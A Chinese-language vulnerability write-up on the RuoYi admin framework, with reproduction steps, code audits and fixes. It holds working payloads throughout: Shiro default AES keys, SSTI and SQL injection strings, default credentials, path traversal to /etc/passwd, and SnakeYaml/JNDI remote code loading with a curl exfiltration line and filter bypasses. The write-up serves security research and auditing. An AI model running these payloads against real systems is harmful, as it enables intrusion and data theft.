RuoYi历史漏洞
RuoYi历史漏洞
Takake1.开发测试环境搭建(审计环境)
1.1.开发环境
- RuiYi历史版本下载地址
- 安装IDEA
- 配置Maven
- 安装Mysql
创建数据库ry
运行下载源码中的sql
获得如下表
- 修改连接数据库的用户名密码、路径
启动redis
运行环境
1.2.linux生产环境
- 文件路径更改为linux的文件上传路径(任意)
- 使用Maven插件打包为jar
- ruoyi-admin.jar移至linux环境
- 使用命令java -jar ruoyi-admin.jar前台运行程序,或者使用命令 nohup java -jar ruoyi-admin.jar >log.txt 2>&1 & 后台运行
- 访问地址:80端口即可。
2.历史漏洞
2.1. Shiro反序列化(RuoYi<V-4.6.2)
- 该漏洞原理简单来说就是
Shiro
将用户认证信息存储到remeberme字段中,后端读取该字段是将该字段在服务器反序列化并通过可利用的gadget
实现RCE漏洞。虽然shiro
使用了AES加密remeberme字段信息,但是由于shiro-1.2.4
版本在依赖jar中硬编码该密钥,因此使用shiro-1.2.4
版本的系统则可以通过该密钥解密remeberme字段数据,在remeberme字段中写入恶意的类,让系统在后端反序列化过程中执行,这就是shiro550
漏洞的原理。
- 而ruoyi使用的shiro的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用ruoyi开发框架时并未更改ruoyi代码中默认的密钥,这同样会导致shiro反序列化漏洞。
2.1.1.漏洞复现(RuoYi V-4.2)
- 下载漏洞利用工具github仓库地址
- 使用命令java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar启动工具
- 初步目标探测
- RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
- 获取利用连,可爆破可指定
- RuoYi-4.2可用利用链为CommonsBeanutilString 这条链
- 发现利用链后可执行执行命令
2.1.2.RuoYi各版本的AES默认密钥
RuoYi 版本号 | 对象版本的默认AES密钥 |
---|---|
4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |
- 4.2版本及以上需要使用GCM模式
- RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
2.2.SSTI(模板注入)漏洞 (仅适用V-4.7.1)
2.2.1.分析
- 在RuoYi的ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java和ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java下存在可控的return字段,且由于RuoYi使用的是
thymeleaf
视图渲染组件,因此可进行SSTI模板注入
。 - 其中可注入的接口包 括
/getNames
、/getKeys
、/getValue
,/localrefresh/task
接口满足条件。PostMapping
注解控制,会在view中进行解析(或者GetMapping
)。return
值可控(或者url
可控)
- 可以通过在http://localhost/monitor/cache视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)
- 构建
fragment
参数payload,由于系统未对fragment
参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式
,使用’${}
注入执行表达式,T()
访问java类和静态访问。因此构建payload: - ${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}
- 由于thymeleaf高版本对T()进行了一些限制,不过可通过在
T
和(
增加空格的办法进行绕过。 - ${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} 增加空格
2.2.2.漏洞复现
2.2.2.1.接口/monitor/cache/getName
- 构包,接口 /monitor/cache/getName (需要有效的身份Cookie)
- 注入
cacheName
不能为空
- bady: cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
- 四个接口的攻击方式一致,payload一致
2.2.2.2.接口/monitor/cache/getKeys
2.2.2.3.接口/monitor/cache/getValue
2.2.2.4.接口/demo/form/localrefresh/task
2.2.3.修复(V-4.7.2)
- 在RuoYi-4.7.2版本中,使用了
thymeleaf
版本3.0.14.RELEASE
已无法再进行注入。 - pom.xml
2.3.Sql注入
2.3.1.注入点1 /role/list接口 (<V-4.6.2)
2.3.1.1.验证payload
- 该接口原包
- 可用报错注入查询用户
payload:
¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e)) - 报错查询数据库
payload:
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
- 空参构造包发包
- 时间盲注查询用户
payload:
¶ms[dataScope]=and if(substring((select user()),1,4)=’root’,sleep(0.5),1) - 由于后台执行了两次该sql语句因此设置sleep(0.5)实际执行时间为1秒
2.3.1.2.代码审计(V-4.2)
- 正向路径调用
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
我们先查看
SysRole
类是否可接受该dataScope
值ruoyi-system\src\main\java\com\ruoyi\system\domain\SysRole.java
在这个
SysRole
中我们并没有看到定义dataScope
的属性
- 其实这个值是继承自
BaseEntity
- 我们从
BaseEntity
中可以看到定义了一个HashMap
可接收键值对,因此我们才能注入参数params[dataScope]
- 我们再重新回到controller的调用逻辑,可以看到调用了服务层的roleService.selectRoleList方法
继续跟进到服务层
ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysRoleServiceImpl.java
持久层roleMapper调用selectRoleList方法
- 最后再跟进到Mapper配置文件
- ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml
- 可以看到这里使用了
${}
危险参数注入方式,相当与参数拼接,因此在这必定存在SQL注入。
- 我们通过发送payload看一下具体执行的是什么样的sql语句
完整SQL语句:
1 | SELECT |
- 可以看到红色标记部分即为我们注入的 params[dataScope] 参数
2.3.1.2.代码审计修复(V-4.6.2)
- 通过对ruoyi历史版本的分析,发现在4.6.2版本中对datascope进行了参数过滤。
- 具体代码位置为
我来大致解释一下代码逻辑:
- @Pointcut(“@annotation(com.ruoyi.common.annotation.DataScope)”) 这行代码定义了一个名为
dataScopePointCut
的切点,这个切点指向了所有使用了@DataScope
注解的方法。切面代码会在每个使用了@DataScope
注解的方法执行前、执行后或者执行前后 - @Before(“dataScopePointCut()”) 这行代码定义了一个前置通知,这个通知会在每个
dataScopePointCut
切点指向的方法执行前运行。 - 在
doBefore
方法中定义了一个情况 dataScope 值的逻辑,以此来防止SQL注入。
- @Pointcut(“@annotation(com.ruoyi.common.annotation.DataScope)”) 这行代码定义了一个名为
从下面可以看到,selectRoleList 方法定义了 @DataScope 注解,因此必定会执行SQL过滤。
- 所以该SQL注入点适用范围仅为<4.6.2版本的Ruoyi。
2.3.2.注入点2 /role/export (<V-4.6.2)
2.3.1.1.代码审计(V-4.2)
之前我们使用的正向调用溯源的方法,这次我们从发生注入点${}的位置逆向分析。
下图是上一个接口发生注入的位置,如图,我们分析一下看是否还有其他调用了该SQL的接口。
- 通过全局搜索发现只有
SysRoleServiceImpl
的selectRoleList
方法调用了该接口,那么我们再看,有哪些controller调用了该方法。
- 通过对接口分析发现总共有三个controller注入了该服务
- 但我们直接全全局搜索该方法调用,发现其实只有两个位置调用了该方法。
- 一个是我上一个注入接口,这次我们来分析一下
/export
这个接口,这个接口同样也接收一个SysRole
对象。 - 因此我们直接抓包,或者直接构造包,进行注入。
2.3.1.1.验证payload
- 接口触发位置
- 原包
- 添加
payload:
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e)) - 其他payload,请看上个接口,payload均一致
- 也可以不用抓包,直接构包发包也可以
- 后台执行SQL语句和修改方式与上一个接口一致。
2.3.3.注入点3 /user/list (<V-4.6.2)
2.3.3.1.验证payload
- 原包
- 抓包注入
payload:
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
- 构包注入
2.3.3.2.代码审计(V-4.2)
- 同理该SQL注入漏洞产生原因和上面两个接口一致,不过这次是由于
selectUserList
的配置xml使用了${}
进行参数注入导致。 - 若要分析具体逻辑请参照上一注入点
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysUserController.java
- ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java
- ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml
- 同样该漏洞修复与适用版本与之前role接口一致
2.3.4.注入点4 /user/list (<V-4.6.2)
2.3.4.1.验证payload
- 原包
- 验证
payload:
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
- 构包注入
2.3.4.2.代码审计(V-4.2)
- 与上一个接口一致
2.3.5.注入点5 /dept/list (<V-4.6.2)
2.3.5.1.验证payload
- 原包
如果抓到包和我一样没有
Content-Type
注意添加POC时一定要加上Content-Type: application/x-www-form-urlencoded; charset=UTF-8
否则后端无法识别请求体类型,那么参数就无法注入。
POC: ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))
2.3.5.2.代码审计(V-4.2)
- controller接口
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java
- ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java
- \ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml
- 执行SQL代码为
1 | SELECT |
2.3.6.注入点5 /role/authUser/allocatedList (<V-4.6.2)
2.3.6.1.验证payload
- 抓包 点击角色管理中的更多操作-分配用户即可发送该包,(第二个包)
- 原包
- 攻击
POC:
¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))
- 构包注入
2.3.6.2.代码审计 (V-4.2)
- 接口
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
- ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java
- ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml
- 执行的SQL语句
1 | SELECT DISTINCT |
2.3.7.注入点7 /role/authUser/unallocatedList
2.3.7.1.验证payload
- 触发点,在上一个接口的分配用户页面下点击添加用户按钮(第二个包)
- 原包
- 验证POC: ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))
- 构包验证
2.3.7.2.代码审计 (V-4.2)
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
- ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java
- ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml
- 执行SQL语句
1 | SELECT DISTINCT |
2.3.8.注入点8 /dept/edit (<V-4.6.2)
2.3.8.1.验证payload
- 原包
攻击POC:DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#
DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定
其中 ancestors
注入参数不能超过50个字符。
- 我们还可以时间盲注
POC:
&ancestors=0)or(sleep(1));# , 时间比例为1:10
2.3.8.2.代码审计(V-4.2)
- 接口
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java
- ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java
- ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml
- 注入点在
updateDeptStatus
SQL中的 where dept_id in (${ancestors}) 这条语句中,因此我们需要其执行deptMapper.updateDeptStatus() 方法 - 这个方法是又由
updateParentDeptStatus
方法调用 - 再到
updateParentDeptStatus
方法中。因此我们得出一下结论
因此我们传入得Status必须为
0
否则无法执行到updateParentDeptStatus方法再重新回到controller方法中
因此通过
controller
方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即DeptId
不等于ParentId
,以及部门名称不能是已经存在得部门名称,即DeptName
定义参数数据库中不存在且我们通过SysDept定义得对象实体中知
orderNum
的值不能为空com/ruoyi/system/domain/SysDept.java
- sql\ry_20200323.sql
- 由于ancestors的值为varchar(50),因此输入的字符串长度不能超过50个字符
- 总结所有条件得出payload:
Status
必须为0
,即Status=0
- 上级部门不能是自己,即
DeptId
!=ParentId
- 部门名称不能是已经存在得部门名称,即
DeptName
定义参数数据库中不存在 orderNum
的值不能为空,即orderNum != ''
ancestors
字符长度小于50- 附加:由于是
edit
,因此接口DeptId
必须是数据库中能查到的部门ID
eg: DeptName=xxxxxxxxxxx&DeptId=100&ParentId=99999&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#
- 执行SQL
1 | UPDATE sys_dept |
2.3.8.3. 代码审计 修复(V-4.6.1:V-4.6.2)
- 通过对比两个版本的代码发现V-4.6.2已不再使用该SQL。
2.3.9.注入点9 /tool/gen/createTable(V-4.7.1-V-4.7.5)
2.3.9.1.代码审计+漏洞复现(V-4.7.1)
从4.7.1版本开始,ruoyi添加了一个新接口,可以执行建表语句,但由于过滤不严谨导致,用户可注入其他的sql语句导致sql注入漏洞。
接口路径ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java
代码使用com.alibaba.druid.sql.dialect.mysql.ast.statement.MySqlCreateTableStatement来判断,用户输入sql语句是否为建表语句,如果不是建表语句则抛出异常,并返回。
因此我们可以通过先输入一个建表语句,然后我们可以使用as拼接其他的sql语句,毕竟可以直接传入sql语句,注入的方式非常灵活绕过检测。
eg:
1 | sql=CREATE table a1 as SELECT extractvalue(1,concat(0x7e,(select database()),0x7e)); |
抓包功能点页面位置
payload:
CREATE table a4 as select extractvalue(1,concat(0x7e,(select database()), 0x7e));
- 使用as重命名表的方式来添加select语句,需要注意的是a4为创建的表名,因此a4必须自定义的一个不存在的表名
2.3.9.1.代码审计+漏洞复现(V-4.7.2-V-4.7.5)
- 在更高版本的建表接口中,RuoYi作者加入了对该接口sql注入关键词过滤的操作。
- 代码如下
- ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java
- ruoyi-common\src\main\java\com\ruoyi\common\utils\sql\SqlUtil.java
- 系统将用户传入的sql语句通过StringUtils.split()方法分割为一个一个的sql关键字。
绕过思路
:但是StringUtils.split()方法是通过空格来分割关键字的,而我们如果输入’select/**/version()’,StringUtils.split()方法则不会分割该字符串,但是数据库却能正确的识别该sql语句,因为/**/或被数据库识别为注释从而忽略掉,以此来绕过,sql语句的检测。- 因此在4.7.2及高版本中我们可以更改payload为:
- sql=CREATE table a1 as SELECT/**/extractvalue(1,concat(0x7e,(select/**/database()),0x7e));
2.3.10.总结
- 网上有很多关于关于RuoYi,SQL注入适用版本的说法,然后根据我对已知出现的所有RuoYI的SQL注入进行分析发现其实,可进行SQL注入的版本就是<V-4.6.2,那么就可以进行注入,当然前提是在没有自行修复SQL注入的情况下。
- 还有进行总共*个注入点中有七个都是参数DataScope参数造成的,其中只有一个是ancestors参数造成的,而且ancestors还存在50个字符的长度限制,还有一个是可直接传入sql语句进行注入操作。
- User接口2个注入点
- Role接口4个注入点
- Dept接口2个注入点(含一个ancestors注入)
- Tool接口1个注入点
2.4.默认口令(全版本)
- 很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。
- 不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除。
- RuoYi默认口令:admin/admin123、ry/admin123。
- druid控制台:ruoyi/123456
2.5.任意文件下载(目前所有版本V-4.7.8)
2.5.1.简介
- 该漏洞是由于在RuoYi低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。
2.5.2.代码审计(V-4.2)
- 接口位置
- com/ruoyi/web/controller/common/CommonController.java
- 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
- D:/ruoyi/uploadPath
- 路径前缀(即接收输入参数路径的前缀)
- 且该类不存在接口前缀,因此接口即为 /common/download/resource
- 添加请求参数rousource=/profile/1.txt
2.5.3.漏洞复现(<V-4.5.1)
2.5.3.1.Windows开发环境
- 为了测试我们在WEB文件磁盘的根目录下创建如下两个文件
- 这次我们postman进行测试
- 先登陆获取到cookie
- 在postman,cookie管理器中添加cookie
请求文本文件,通过../对请求路径进行回退,以此构建url为
http://localhost/common/download/resource?resource=/profile/../../../../../../file.txt
postman发包测试如图
- 请求JPG文件,如图,可通过Save Response将图片保存下来查看
- 保存为对应的jpg格式即可打开查看
2.5.3.2.linux生产环境
打包到linux环境时需要修改配置文件中的默认文件路径
/home/ruoyi/uploadPath
获取到linux环境下的cookie
- /common/download/resource?resource=/profile/../../../../../../etc/passwd
- 在postman中更改cookie值
2.5.3.3.修复(V-4.5.1)
- 在V-4.5.1版本之后会对用户输入的rousource路径进行过滤,不允许包含
..
和校验不允许的文件下载类型 - ruoyi-common\src\main\java\com\ruoyi\common\utils\file\FileUtils.java
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
2.5.4.定时任务绕过思路(目前所有版本V-4.7.8)
2.5.4.1.代码审计
- 在RuoYi定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。
- 以此来绕过必须使用resource来下载资源文件的方式。
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile(‘C://windows/win.ini’) ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。
具体思路入下
调用定时任务 ruoYiConfig.setProfile(‘C://windows/win.ini’)
调用接口resource=.jpg ,其中resource的值为任意不包含前缀
/profile
,且文件类型检测中存在的文件类型(输入的resouce值会直接被清空,下载的实际路径则会变成 String localPath = RuoYiConfig.getProfile() 的值)。系统则调用 FileUtils.setAttachmentResponseHeader(response, downloadName) 下载系统文件
ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
2.5.4.2.绕过复现
- 添加定时任务
- ruoYiConfig.setProfile(‘C://windows/win.ini’)
- 0/10 * * * * ?
- 请求包
1 | POST /monitor/job/add HTTP/1.1 |
- 执行任务
- 通过接口下载文件http://localhost/common/download/resource?resource=.jpg
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
-
- linux系统复现流程相同,不再重复
2.6.定时任务远程RCE(<V-4.7.2)
需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。
2.6.1.SnakeYaml 反序列化
2.6.1.1.简介
通常只要引用了
Snakeyaml
包的几乎都可进行反序列化可查看代码是否调用 new Yaml();
2.6.1.2.漏洞复现(V-4.2)
下载yaml反序列化payload工具
- 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令
- eg: curl http://192.168.31.246:7000?CMDEcho=$(whoami)
- 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
- 除此之外,我们需要使用
$()
命令替换,用于命令回显,因此我们改写一下命令执行函数。 - 改写方法如图
1 | String[] cmd = { |
在工具根目录 编写yaml-payload.yml文件
1
2
3
4
5!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]
]]
]使用JAVA编译该文件,并且打包为jar,命令如下
1 | $ javac src/artsploit/AwesomeScriptEngineFactory.java |
- 然后在该位置使用python开启http服务,用于远程加载该jar文件
- 添加定时任务加载jar包
- 目标字符串org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://192.168.31.246:8000/yaml-payload.jar"]]]]‘)
- cron表达式0/10 * * * * ?
- 定时任务请求包
1 | POST /monitor/job/edit HTTP/1.1 |
- 创建任务后点击执行
- 回显结果如图
2.6.2.JNDI注入
2.6.2.1.简介
通过JNDI远程加载恶意类
这次我们使用windows开发环境进行测试
其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI不可用 | 6u132 | 7u122 | 8u113 | 无 |
LDAP不可用 | 6u221 | 7u201 | 8u119 | 11.0.1 |
- 本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试
2.6.2.2.漏洞复现(V-4.2)
- 先编译要执行的恶意类
- javac Calc.java
1 | public class Calc{ |
- 将Calc.class文件通过python服务暴露python -m http.server 6000
- 使用
marshalsec
工具启动一个RMI服务
,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.10.129:6000/#Calc“ 8888
- 添加一个定时任务通过
lookup
函数加载远程类- 目标字符串:org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
- cron表达式:0/10 * * * * ?
- 点击执行任务,弹出计算器,测试成功。
LDAP注入
启动
ldap
服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.10.129:6000/#Calc“ 8888
添加一个定时任务通过
lookup
函数加载远程类目标字符串:javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)
cron表达式:0/10 * * * * ?
点击执行,弹出计算器,测试成功
2.6.3.高版本绕过策略(V-4.6.2-V-4.7.1)
- 在V-4.6.2-V-4.7.1版本中RuoYi添加了对
ldap
和rmi
以及http
字符串的过滤 - ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
但是可通过添加”‘“的方式来绕过。
例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测
没添加”‘“绕过
添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
rmi:
org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)ldap:
javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)SnakeYaml:
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)
测试通过,命令执行成功
2.6.4.修复(V-4.7.2)
- 直接对定时任务调用的类进行黑马名单限制
- ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
- E:\Projects\JAVA\RuoYi\RuoYi-v4.7.5\ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java